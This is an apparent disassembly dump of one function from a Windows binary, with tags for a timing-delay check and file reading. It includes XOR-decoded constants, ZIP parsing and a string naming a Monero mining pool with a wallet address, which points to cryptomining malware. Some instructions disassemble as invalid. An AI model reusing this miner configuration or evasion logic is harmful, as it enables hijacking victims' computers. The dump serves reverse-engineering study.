Function at 0x1400c2960
Capabilities:
Check for time delay via queryperformancecounter
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0xd1a8
call fcn.1400fec40
sub rsp, rax
movdqa xmmword [rsp + 0xd190], xmm15
movdqa xmmword [rsp + 0xd180], xmm14
movdqa xmmword [rsp + 0xd170], xmm13
movaps xmmword [rsp + 0xd160], xmm12
movdqa xmmword [rsp + 0xd150], xmm11
movdqa xmmword [rsp + 0xd140], xmm10
movdqa xmmword [rsp + 0xd130], xmm9
movdqa xmmword [rsp + 0xd120], xmm8
movdqa xmmword [rsp + 0xd110], xmm7
movdqa xmmword [rsp + 0xd100], xmm6
lea rax, [0x1401abaa5]
mov qword [rsp + 0x820], rax
lea rax, [rsp + 0x820]
mov rcx, qword [rsp + 0x820]
movabs rdx, 0xd6eda2166af5cbe0
mov qword [rsp + 0x820], rdx
mov rdx, qword [rsp + 0x820]
call fcn.1400cfc80
movabs rcx, 0x300d61188838e88c
xor rcx, qword [rax]
movabs rdx, 0x66f5c07419ebceef
xor rdx, qword [rax + 8]
movabs r8, 0xd32bc284019ece29
xor r8, qword [rax + 0x10]
movabs r9, 0xb94f0f94c419f019
xor r9, qword [rax + 0x18]
mov r10d, 0x4f09da8a
xor r10d, dword [rax + 0x20]
mov qword [rsp + 0x688], rcx
mov qword [rsp + 0x690], rdx
mov qword [rsp + 0x698], r8
mov qword [rsp + 0x6a0], r9
mov dword [rsp + 0x6a8], r10d
lea rcx, [rsp + 0x820]
lea rdx, [rsp + 0x688]
call fcn.1400cb0c0
cmp dword [rsp + 0x820], 3
je case.0x1400c627f.0
lea rsi, [rsp + 0x2f8]
lea rdx, [rsp + 0x820]
mov r8d, 0xc0
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0xb100]
mov r8d, 0x98
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov esi, dword [rsp + 0x398]
cmp esi, 0x3b9aca00
jne 0x1400c2c14
mov esi, 0x3b9aca00
call fcn.1400e3c40
test rax, rax
je case.0x1400c627f.0
mov rdi, rax
movzx eax, byte [0x1401ee110]
mov rcx, qword [0x1401ee100]
test rcx, rcx
jne 0x1400c2b2c
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov rcx, rax
mov qword [0x1401ee100], rax
mov r8d, 0x18
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je case.0x1400c627f.0
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rdi
lea rax, fcn.1400b2b00
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rcx
lea rax, [rsp + 0x290]
mov qword [rsp + 0x138], rax
lea rcx, [rsp + 0x820]
lea rdx, [rsp + 0xb100]
mov r8d, 0x1e0
call sub.msvcrt.dll_memcpy
mov byte [rsp + 0xa00], 0
mov eax, dword [rsp + 0x270]
mov ecx, dword [rsp + 0x273]
mov dword [rsp + 0xa01], eax
mov dword [rsp + 0xa04], ecx
cmp esi, 0x3b9aca00
jne 0x1400c2d19
lea rbx, [rsp + 0x1d0]
lea rsi, [rsp + 0x820]
lea r14, [rsp + 0x138]
nop word cs:[rax + rax]
mov rcx, rbx
mov rdx, rsi
mov r8, r14
call fcn.1400b2ff0
cmp qword [rsp + 0x1d0], 0
je 0x1400c2e93
call fcn.1400d5710
jmp 0x1400c2bf0
mov rbp, qword [rsp + 0x390]
mov qword [rsp + 0x820], 0
lea rcx, [rsp + 0x820]
call sub.kernel32.dll_QueryPerformanceCounter
test eax, eax
jne 0x1400c2c42
call sub.kernel32.dll_GetLastError
ud2
mov rdi, qword [rsp + 0x820]
mov rcx, qword [0x1401ee0e0]
test rcx, rcx
jne 0x1400c2c87
invalid
xor dword [rax - 0x39], ecx
test byte [rax + riz], ah
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + riz], fs
or byte [rax], al
add al, ch
pop rbp
invalid
mov qword [rsp + 0x820], 0
lea rcx, [rsp + 0x820]
call sub.kernel32.dll_QueryPerformanceFrequency
test eax, eax
je 0x1400c2c39
mov rcx, qword [rsp + 0x820]
mov qword [0x1401ee0e0], rcx
or eax, 0x12b45e
or eax, 0x12b45e
test rcx, rcx
je case.0x1400c627f.0
mov rax, rdi
or rax, rcx
shr rax, 0x20
jne 0x1400c2c9b
mov eax, edi
xor edx, edx
div ecx
jmp 0x1400c2ca3
mov rax, rdi
xor edx, edx
div rcx
imul r8, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
add dl, cl
invalid
cmp ecx, dword [rax - 0x77]
ret 0x948
retf 0xc148
invalid
and byte [rbp + 8], dh
add dl, cl
invalid
xor edx, edx
div ecx
mov ecx, eax
jmp 0x1400c2ccd
xor edx, edx
div rcx
mov rcx, rax
add rcx, r8
mov rax, rcx
shr rax, 9
call 0x193c674e3
pop rdx
wait
movabs al, byte [0x48e2f7480044b82f]
shr edx, 0xb
call 0x193c674e3
push rbx
pop rdx
wait
movabs al, byte [0x48e2f7480044b82f]
shr edx, 0xb
add rbp, rdx
jae 0x1400c2cf1
ud2
imul rax, rdx, 0x3b9aca00
sub rcx, rax
add esi, ecx
cmp esi, 0x3b9aca00
jb 0x1400c2af0
inc rbp
je case.0x1400c627f.0
add esi, 0xc4653600
jmp 0x1400c2af0
lea r14, [rsp + 0x1d0]
lea r12, [rsp + 0x138]
xor r15d, r15d
movabs rdi, 0x44b82fa09b5a53
lea r13, [rsp + 0x2b0]
jmp 0x1400c2d81
mov qword [rsp + 0x2b0], rbp
mov dword [rsp + 0x2b8], esi
mov qword [rsp + 0x1d0], rdx
mov dword [rsp + 0x1d8], ecx
mov rcx, r13
mov rdx, r14
call fcn.1400e3560
cmp edx, 0x3b9aca00
cmove edx, r15d
mov ecx, 0
cmovne rcx, rax
call fcn.1400d5810
mov rcx, r14
lea rdx, [rsp + 0x820]
mov r8, r12
call fcn.1400b2ff0
cmp qword [rsp + 0x1d0], 0
je 0x1400c2e93
mov qword [rsp + 0x1d0], 0
mov rcx, r14
call sub.kernel32.dll_QueryPerformanceCounter
test eax, eax
je 0x1400c2c39
mov rbx, qword [rsp + 0x1d0]
mov r8, qword [0x1401ee0e0]
test r8, r8
jne 0x1400c2e07
mov qword [rsp + 0x1d0], 0
mov rcx, r14
call sub.kernel32.dll_QueryPerformanceFrequency
test eax, eax
je 0x1400c2c39
mov r8, qword [rsp + 0x1d0]
mov qword [0x1401ee0e0], r8
test r8, r8
je case.0x1400c627f.0
mov rax, rbx
or rax, r8
shr rax, 0x20
je 0x1400c2e20
mov rax, rbx
xor edx, edx
div r8
mov rcx, rax
jmp 0x1400c2e29
mov eax, ebx
xor edx, edx
div r8d
mov ecx, eax
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, r8
shr rdx, 0x20
je 0x1400c2e50
xor edx, edx
div r8
jmp 0x1400c2e55
xor edx, edx
div r8d
imul rcx, rcx, 0x3b9aca00
add rcx, rax
mov rax, rcx
shr rax, 9
mul rdi
shr rdx, 0xb
imul eax, edx, 0x3b9aca00
sub ecx, eax
cmp rdx, rbp
jb 0x1400c2d40
jne 0x1400c2f75
mov ebx, 0
cmp esi, ecx
ja 0x1400c2d40
jmp 0x1400c2ebf
mov r15, qword [rsp + 0x1d8]
test r15, r15
jne 0x1400c2ea5
xor r15d, r15d
jmp 0x1400c2eb7
movdqu xmm0, xmmword [rsp + 0x1e8]
movdqa xmmword [rsp + 0x2b0], xmm0
mov rbx, qword [rsp + 0x1e0]
movzx eax, byte [rsp + 0xa00]
test eax, eax
je 0x1400c2f87
cmp eax, 3
lea rdi, [rsp + 0xb100]
jne 0x1400c2fde
movzx eax, byte [rsp + 0x9b9]
cmp rax, 5
ja case.0x1400c2efc.1
lea rcx, [0x140187b30]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rsp + 0x950]
jmp 0x1400c2f66
cmp qword [rsp + 0x9e8], 0
je case.0x1400c2efc.4
mov r8, qword [rsp + 0x9e0]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
cmp byte [rsp + 0x9b8], 0
je case.0x1400c2efc.3
lea rcx, [rsp + 0x9a8]
mov rax, qword [rsp + 0x990]
mov rdx, qword [rsp + 0x998]
mov r8, qword [rsp + 0x9a0]
call qword [rax + 0x10]
lea rcx, [rsp + 0x970]
mov byte [rsp + 0x9b8], 0
call fcn.140071030
lea rax, [rsp + 0x948]
jmp 0x1400c2fb1
xor ebx, ebx
movzx eax, byte [rsp + 0xa00]
test eax, eax
jne 0x1400c2ecf
lea rcx, [rsp + 0x820]
call fcn.1400b20f0
lea rcx, [rsp + 0x890]
call fcn.140071030
lea rax, [rsp + 0x8b0]
lea rdi, [rsp + 0xb100]
mov r14, qword [rax]
cmp qword [r14 + 0x18], 0
je 0x1400c2fcd
mov r8, qword [r14 + 0x10]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, r14
call fcn.140104a84
mov rax, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x298]
call qword [rax + 0x18]
test r15, r15
jne 0x1400c3063
test rbx, rbx
jne 0x1400c305e
movzx eax, byte [0x1401ee110]
mov rcx, qword [0x1401ee100]
test rcx, rcx
jne 0x1400c3026
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov rcx, rax
mov qword [0x1401ee100], rax
mov r8d, 0x70
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je case.0x1400c627f.0
mov rbx, rax
mov dword [rax], 2
mov qword [rax + 0x58], 1
lea rax, [0x1401b3ec0]
mov qword [rbx + 0x60], rax
mov word [rbx + 0x68], 5
xor r15d, r15d
jmp 0x1400c3075
movdqa xmm0, xmmword [rsp + 0x2b0]
movdqa xmmword [rsp + 0x820], xmm0
mov r14, qword [rsp + 0x3a0]
test r14, r14
je 0x1400c30b2
mov rsi, qword [rsp + 0x3a8]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400c30b2
cmp qword [rsi + 0x10], 0x11
jb 0x1400c30a1
mov r14, qword [r14 - 8]
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, r14
call fcn.140104a84
mov rax, qword [rsp + 0x3b0]
test rax, rax
je 0x1400c30d2
lock dec qword [rax]
jne 0x1400c30d2
lea rcx, [rsp + 0x3b0]
call fcn.1400bafc0
test r15, r15
je case.0x1400c627f.0
mov qword [rsp + 0x728], r15
mov qword [rsp + 0x730], rbx
movdqa xmm0, xmmword [rsp + 0x820]
movdqu xmmword [rsp + 0x738], xmm0
lea rax, [0x1401ae6c2]
mov qword [rsp + 0x820], rax
lea rdx, [rsp + 0x820]
mov rcx, qword [rsp + 0x820]
movabs rax, 0x8845d6118276d5f0
mov qword [rsp + 0x820], rax
mov rdx, qword [rsp + 0x820]
call fcn.1400cfcb0
mov ecx, 0xaf14821
xor ecx, dword [rax]
mov dword [rsp + 0x2f8], ecx
lea rcx, [rsp + 0x820]
lea rsi, [rsp + 0x2f8]
mov r8d, 4
mov rdx, rsi
call fcn.1400e4940
movzx eax, byte [rsp + 0x838]
cmp al, 2
je case.0x1400c627f.0
test al, al
jne 0x1400c318c
mov rax, qword [rsp + 0x830]
test rax, rax
jne 0x1400c32c4
mov rax, qword [rsp + 0x830]
movdqu xmm0, xmmword [rsp + 0x820]
movdqa xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rax
lea rbx, [rsp + 0x270]
mov qword [rsp + 0xb100], rbx
lea r12, [0x14009d2c0]
mov qword [rsp + 0xb108], r12
lea r13, str.Invalid_checksumincomplete_frame
mov qword [rsp + 0x820], r13
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x830], rdi
mov qword [rsp + 0x838], 1
lea rcx, [rsp + 0x748]
lea rdx, [rsp + 0x820]
call fcn.140002cc0
mov rcx, qword [rsp + 0x748]
mov rdx, qword [rsp + 0x758]
mov rbp, qword [rsp + 0x730]
mov r15, qword [rsp + 0x738]
mov dword [rsp + 0x820], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x828], xmm0
mov dword [rsp + 0x838], 7
mov qword [rsp + 0x83c], 0
mov word [rsp + 0x844], 0
mov byte [rsp + 0x841], 1
mov byte [rsp + 0x844], 1
mov byte [rsp + 0x843], 1
lea r8, [rsp + 0x820]
call fcn.1400d44b0
mov r14, rdx
test rax, rax
mov qword [rsp + 0x80], r15
jne 0x1400c32bc
test r15, r15
jne 0x1400c3357
xor r15d, r15d
jmp 0x1400c349a
mov r15, r14
jmp 0x1400c34a2
mov rdx, qword [rsp + 0x820]
add rax, rdx
jmp 0x1400c32ec
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x1400c318c
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x1400c32e0
cmp r8b, 0xe0
jb 0x1400c32d1
cmp r8b, 0xed
jne 0x1400c332e
cmp rcx, rax
je 0x1400c318c
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x1400c318c
cmp byte [rdx + 1], 0x9f
ja 0x1400c37bf
add rdx, 3
mov rcx, rdx
jmp 0x1400c32e0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x1400c32e0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x1400c32e0
lea r12, [rsp + 0x820]
lea rsi, [0x140187b48]
mov qword [rsp + 0xa0], rbp
mov r13, rbp
mov rbp, r15
jmp 0x1400c3394
cmp byte [r15 + 0x10], 0x23
jne 0x1400c346c
test rbp, rbp
je 0x1400c37b7
mov rcx, r12
mov rdx, r14
mov r8, r13
mov r9, rbp
call fcn.1400dae20
cmp qword [rsp + 0x820], 0
je case.default.0x1400c33c5
mov r15, qword [rsp + 0x828]
mov eax, r15d
and eax, 3
movsxd rax, dword [rsi + rax*4]
add rax, rsi
jmp rax
mov rax, qword [rsp + 0x828]
test rax, rax
je 0x1400c37e3
sub rbp, rax
jb case.0x1400c627f.0
add r13, rax
jmp 0x1400c338b
lea rdi, [rsp + 0xb100]
lea rsi, [rsp + 0x2f8]
lea rbx, [rsp + 0x270]
lea r12, [0x14009d2c0]
lea r13, str.Invalid_checksumincomplete_frame
mov rbp, qword [rsp + 0xa0]
mov rcx, r14
call sub.kernel32.dll_CloseHandle
mov rax, qword [rsp + 0x728]
lea rcx, [rsp + 0x740]
mov rdx, rbp
mov r8, qword [rsp + 0x80]
call qword [rax + 0x10]
cmp qword [rsp + 0x750], 0
je 0x1400c34e1
mov r8, qword [rsp + 0x748]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
test r15, r15
sete byte [rsp + 0x2f8]
mov qword [rsp + 0xb100], rsi
lea rax, [0x140005b10]
mov qword [rsp + 0xb108], rax
lea rax, str.Success_:
mov qword [rsp + 0x820], rax
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x830], rdi
mov qword [rsp + 0x838], 1
lea rcx, [rsp + 0x820]
call fcn.1400d50a0
mov qword [rsp + 0xb100], rbx
mov qword [rsp + 0xb108], r12
mov qword [rsp + 0x820], r13
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x830], rdi
mov qword [rsp + 0x838], 1
lea rcx, [rsp + 0x780]
lea rdx, [rsp + 0x820]
call fcn.140002cc0
mov dword [rsp + 0x820], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x828], xmm0
mov dword [rsp + 0x838], 7
mov qword [rsp + 0x83c], 0
mov word [rsp + 0x844], 0
mov byte [rsp + 0x840], 1
mov rbx, qword [rsp + 0x780]
mov rdx, qword [rsp + 0x790]
lea r8, [rsp + 0x820]
mov rcx, rbx
call fcn.1400d44b0
mov rsi, rax
mov rdi, rdx
cmp qword [rsp + 0x788], 0
je 0x1400c3627
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rbx
call fcn.140104a84
test rsi, rsi
jne case.0x1400c627f.0
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0x820], 0
lea r8, [rsp + 0x820]
mov rcx, rdi
xor edx, edx
mov r9d, 2
call sub.kernel32.dll_SetFilePointerEx
test eax, eax
jne 0x1400c3671
call sub.kernel32.dll_GetLastError
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
ud2
mov rbx, qword [rsp + 0x820]
xor esi, esi
mov rax, rbx
sub rax, 0x10015
cmovae rsi, rax
cmp rbx, 0x16
jae 0x1400c369a
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
ud2
add rbx, 0xffffffffffffffea
lea r14, [rsp + 0x820]
lea r15, [rsp + 0x98]
nop
cmp rbx, rsi
jb 0x1400c368e
mov qword [rsp + 0x820], 0
mov rcx, rdi
mov rdx, rbx
mov r8, r14
xor r9d, r9d
call sub.kernel32.dll_SetFilePointerEx
test eax, eax
je 0x1400c3660
mov dword [rsp + 0x820], 0
mov r8d, 4
mov rcx, r15
mov rdx, r14
call fcn.1400ca290
test rax, rax
jne 0x1400c368e
cmp dword [rsp + 0x820], 0x6054b50
je 0x1400c370f
add rbx, 0xffffffffffffffff
jb 0x1400c36b0
jmp 0x1400c368e
mov qword [rsp + 0x820], 0
lea r8, [rsp + 0x820]
mov edx, 0x10
mov rcx, rdi
mov r9d, 1
call sub.kernel32.dll_SetFilePointerEx
test eax, eax
je 0x1400c3660
lea rcx, [rsp + 0x820]
mov rdx, rdi
xor r8d, r8d
mov r9, rbx
call fcn.1400db6e0
cmp qword [rsp + 0x820], 0
jne 0x1400c368e
mov rsi, qword [rsp + 0x828]
lea rcx, [rsp + 0x820]
lea rdx, [rsp + 0x98]
call fcn.1400caa40
mov rax, qword [rsp + 0x820]
mov qword [rsp + 0xa8], rax
test rax, rax
jne 0x1400c37ef
mov r15, qword [rsp + 0x828]
mov rax, qword [rsp + 0x830]
mov qword [rsp + 0x48], rax
mov r14, qword [rsp + 0x838]
jmp 0x1400c3c09
xor r15d, r15d
jmp 0x1400c346c
mov rax, qword [rsp + 0x830]
mov qword [rsp + 0xb110], rax
movups xmm0, xmmword [rsp + 0x820]
movaps xmmword [rsp + 0xb100], xmm0
ud2
lea r15, str.x_e_
jmp 0x1400c346c
mov rax, qword [rsp + 0x828]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x830]
mov qword [rsp + 0xf8], rax
mov r13, qword [rsp + 0x838]
mov rbx, qword [rsp + 0x840]
mov r12, r13
shr r12, 0x20
cmp bx, 0xffff
sete cl
mov eax, ebx
shr eax, 0x10
cmp eax, 0xffff
sete dl
or dl, cl
mov rcx, rbx
not rcx
shr rcx, 0x20
test cx, cx
sete cl
or cl, dl
mov rdx, rbx
shr rdx, 0x30
cmp edx, 0xffff
setae dl
cmp r13d, 0xffffffff
sete r8b
or r8b, dl
mov edx, 0xffffffff
cmp r12, rdx
sete bpl
or bpl, r8b
or bpl, cl
mov r15d, 2
lea rcx, [0x1401b59ee]
mov qword [rsp + 0x48], rcx
mov r14d, 0x2f
jne 0x1400c389e
cmp bx, ax
jne 0x1400c3be0
mov rdx, 0xffffffffffffffd6
sub rdx, qword [rsp + 0xf8]
mov qword [rsp + 0x820], 0
lea r8, [rsp + 0x820]
mov rcx, rdi
mov r9d, 2
call sub.kernel32.dll_SetFilePointerEx
test eax, eax
jne 0x1400c3a68
call sub.kernel32.dll_GetLastError
mov eax, r13d
mov r15d, 1
lea rcx, [0x1401b59c6]
mov qword [rsp + 0x48], rcx
mov r14d, 0x28
cmp rax, rsi
ja 0x1400c3be0
mov rdi, rsi
sub rdi, rax
mov rax, rdi
sub rax, r12
mov qword [rsp + 0xd8], rax
jb 0x1400c3be0
shr rbx, 0x20
movzx eax, bx
mov qword [rsp + 0x100], rax
xor ebx, ebx
mov rax, qword [rsp + 0x100]
cmp rax, rsi
cmovbe rbx, rax
mov eax, 8
test rbx, rbx
je 0x1400c39a1
movabs rcx, 0xba2e8ba2e8ba2e
cmp rbx, rcx
ja case.0x1400c627f.0
imul r14, rbx, 0xb0
test r14, r14
je 0x1400c39a1
movzx eax, byte [0x1401ee110]
mov rcx, qword [0x1401ee100]
test rcx, rcx
jne 0x1400c398e
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov rcx, rax
mov qword [0x1401ee100], rax
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapAlloc
test rax, rax
je case.0x1400c627f.0
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], 0
xor ecx, ecx
call fcn.1400e24b0
test rax, rax
je case.0x1400c627f.0
movdqu xmm6, xmmword [rax]
inc qword [rax]
test rbx, rbx
jne 0x1400c7691
xor r12d, r12d
lea r14, [0x1401b72b0]
xor r13d, r13d
mov qword [rsp + 0x1d0], r14
mov qword [rsp + 0x1d8], r13
mov qword [rsp + 0x1e0], r12
mov qword [rsp + 0x1e8], 0
movdqu xmmword [rsp + 0x1f0], xmm6
mov qword [rsp + 0x820], 0
mov rcx, qword [rsp + 0x98]
lea r8, [rsp + 0x820]
mov rdx, rdi
xor r9d, r9d
call sub.kernel32.dll_SetFilePointerEx
test eax, eax
jne 0x1400c76b1
call sub.kernel32.dll_GetLastError
mov r15d, 1
lea rax, [0x1401b5a4c]
mov qword [rsp + 0x48], rax
mov r14d, 0x2c
jmp 0x1400c856f
mov dword [rsp + 0x820], 0
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x820]
mov r8d, 4
call fcn.1400ca290
test rax, rax
jne 0x1400c3bd8
cmp dword [rsp + 0x820], 0x7064b50
jne 0x1400c38dc
mov dword [rsp + 0x820], 0
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x820]
mov r8d, 4
call fcn.1400ca290
test rax, rax
jne 0x1400c3bd8
mov r12d, dword [rsp + 0x820]
mov qword [rsp + 0x820], 0
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x820]
mov r8d, 8
call fcn.1400ca290
test rax, rax
jne 0x1400c3bd8
mov rdi, qword [rsp + 0x820]
mov dword [rsp + 0x820], 0
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x820]
mov r8d, 4
call fcn.1400ca290
test rax, rax
jne 0x1400c3bd8
movzx eax, bx
cmp r12d, eax
sete al
or bpl, al
je 0x1400c3be0
cmp rsi, 0x3c
jb 0x1400c8512
lea r9, [rsi - 0x3c]
lea rcx, [rsp + 0x820]
lea rdx, [rsp + 0x98]
mov r8, rdi
call fcn.1400cac70
cmp qword [rsp + 0x820], 0
jne 0x1400c8529
mov eax, dword [rsp + 0x848]
cmp eax, dword [rsp + 0x84c]
jne 0x1400c3be0
mov rax, qword [rsp + 0x858]
mov rdi, qword [rsp + 0x840]
mov qword [rsp + 0xd8], rax
add rdi, rax
jae 0x1400c854b
lea rax, [0x1401b59c6]
mov qword [rsp + 0x48], rax
mov r14d, 0x28
mov r15d, 1
jmp 0x1400c3be0
xor r15d, r15d
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x118], 0
je 0x1400c3c01
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, qword [rsp + 0xa8]
call fcn.140104a84
mov rdi, qword [rsp + 0x98]
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
cmp r15, 4
jne case.0x1400c627f.0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], r14
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x5e0], rax
test rax, rax
lea rbp, [rsp + 0xb100]
jne 0x1400c3fd8
lea rax, [rsp + 0x270]
mov qword [rsp + 0xb100], rax
lea rax, [0x14009d2c0]
mov qword [rsp + 0xb108], rax
lea r15, str.Invalid_checksumincomplete_frame
mov qword [rsp + 0x820], r15
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x840], 0
lea r14, [rsp + 0xb100]
mov qword [rsp + 0x830], r14
mov qword [rsp + 0x838], 1
lea rcx, [rsp + 0x798]
lea rdx, [rsp + 0x820]
call fcn.140002cc0
mov rdi, qword [rsp + 0x798]
mov rdx, qword [rsp + 0x7a8]
mov dword [rsp + 0x820], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x828], xmm0
mov dword [rsp + 0x838], 7
mov qword [rsp + 0x83c], 0
mov word [rsp + 0x844], 0
mov byte [rsp + 0x840], 1
lea r8, [rsp + 0x820]
mov rcx, rdi
call fcn.1400d44b0
mov rbx, rax
mov rsi, rdx
cmp qword [rsp + 0x7a0], 0
je 0x1400c3d47
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rdi
call fcn.140104a84
test rbx, rbx
jne 0x1400c7366
lea rdi, [rsp + 0x270]
mov qword [rsp + 0xb100], rdi
lea rbx, [0x14009d2c0]
mov qword [rsp + 0xb108], rbx
mov qword [rsp + 0x820], r15
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x830], r14
mov qword [rsp + 0x838], 1
lea rsi, [rsp + 0x7c0]
lea rdx, [rsp + 0x820]
mov rcx, rsi
call fcn.1400c87f0
mov qword [rsp + 0xb100], rdi
mov qword [rsp + 0xb108], rbx
lea rbx, str.Invalid_checksumincomplete_frame
mov qword [rsp + 0x820], rbx
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x830], r14
mov qword [rsp + 0x838], 1
lea rdi, [rsp + 0x7d8]
lea rdx, [rsp + 0x820]
mov rcx, rdi
call fcn.1400c87f0
mov rcx, rsi
mov rdx, rdi
call fcn.1400ca0f0
test rax, rax
jne case.0x1400c627f.0
lea rax, [rsp + 0x270]
mov qword [rsp + 0xb100], rax
lea rax, [0x14009d2c0]
mov qword [rsp + 0xb108], rax
mov qword [rsp + 0x820], rbx
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x830], r14
mov qword [rsp + 0x838], 1
lea rsi, [rsp + 0x7f0]
lea rdx, [rsp + 0x820]
mov rcx, rsi
call fcn.1400c87f0
lea rdi, [rsp + 0xb100]
mov rcx, rdi
mov rdx, rsi
call fcn.1400ca920
lea rdx, str._oxmr_us_west1.nanopool.org:10300_u44oBzyDavZfVpRbL8CUhjbRUGwCCG1SoceCY1xTaPu4d1ndN5PHCvFTje4RYnByurQHitxhBaC3hyDLpo8mXjugnCB6WdeY_prustTestSpawned_process:
mov r8d, 2
mov rcx, rdi
call fcn.1400ca760
lea rdx, [0x1401b5732]
mov r8d, 0x1f
mov rcx, rdi
call fcn.1400ca760
lea rdx, [0x1401b5751]
mov r8d, 2
mov rcx, rdi
call fcn.1400ca760
lea rdx, [0x1401b5753]
mov r8d, 0x5f
mov rcx, rdi
call fcn.1400ca760
lea rdx, [0x1401b57b2]
mov r8d, 2
mov rcx, rdi
call fcn.1400ca760
lea rdx, [0x1401b57b4]
mov r8d, 8
mov rcx, rdi
call fcn.1400ca760
lea rcx, [rsp + 0x820]
mov rdx, rdi
call fcn.1400d60b0
cmp qword [rsp + 0x820], 0
jne 0x1400c7402
mov rax, qword [rsp + 0x828]
mov qword [rsp + 0x688], rax
lea rax, [rsp + 0x688]
mov qword [rsp + 0x1d0], rax
lea rax, [fcn.1400dd870]
mov qword [rsp + 0x1d8], rax
lea rax, str.8Xe_
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], 2
mov qword [rsp + 0x318], 0
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x308], rax
mov qword [rsp + 0x310], 1
lea rcx, [rsp + 0x2f8]
call fcn.1400d50a0
call fcn.14001b130
call fcn.1400dac70
ud2
pxor xmm6, xmm6
movdqa xmm7, xmmword [0x140187b00]
lea rdi, [rsp + 0x2b0]
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x1b8], rax
xor esi, esi
jmp 0x1400c402b
lea rcx, [rsp + 0x2f8]
call fcn.1400c89a0
lea rdi, [rsp + 0x2b0]
mov rsi, qword [rsp + 0x180]
cmp rsi, qword [rsp + 0x5e0]
je 0x1400c3c4d
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x180], rsi
cmp qword [rax + 0x20], rsi
jbe case.0x1400c627f.0
mov rsi, qword [rax + 0x10]
imul rbx, qword [rsp + 0x180], 0xb0
cmp byte [rsi + rbx + 0xa6], 0
jne case.0x1400c627f.0
mov rdx, qword [rsi + rbx + 0x80]
mov qword [rsp + 0x2b0], 0
mov rcx, qword [rsp + 0x140]
mov r8, rdi
xor r9d, r9d
call sub.kernel32.dll_SetFilePointerEx
test eax, eax
je 0x1400c2c39
inc qword [rsp + 0x180]
lea r14, [rsi + rbx]
lea r15, [rsi + rbx]
add r15, 0x80
mov dword [rsp + 0x1ac], 0
mov r12d, 4
mov rdi, qword [rsp + 0x140]
lea r13, [rsp + 0x1ac]
nop word [rax + rax]
movups xmm12, xmmword [0x1401b6100]
movaps xmmword [rsp + 0x290], xmm12
mov eax, 0xffffffff
cmp r12, rax
cmovb rax, r12
movdqu xmmword [rsp + 0x38], xmm6
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r13
lea rax, [rsp + 0x290]
mov qword [rsp + 0x20], rax
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.ntdll.dll_NtReadFile
cmp eax, 0x103
jne 0x1400c4134
mov rcx, rdi
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
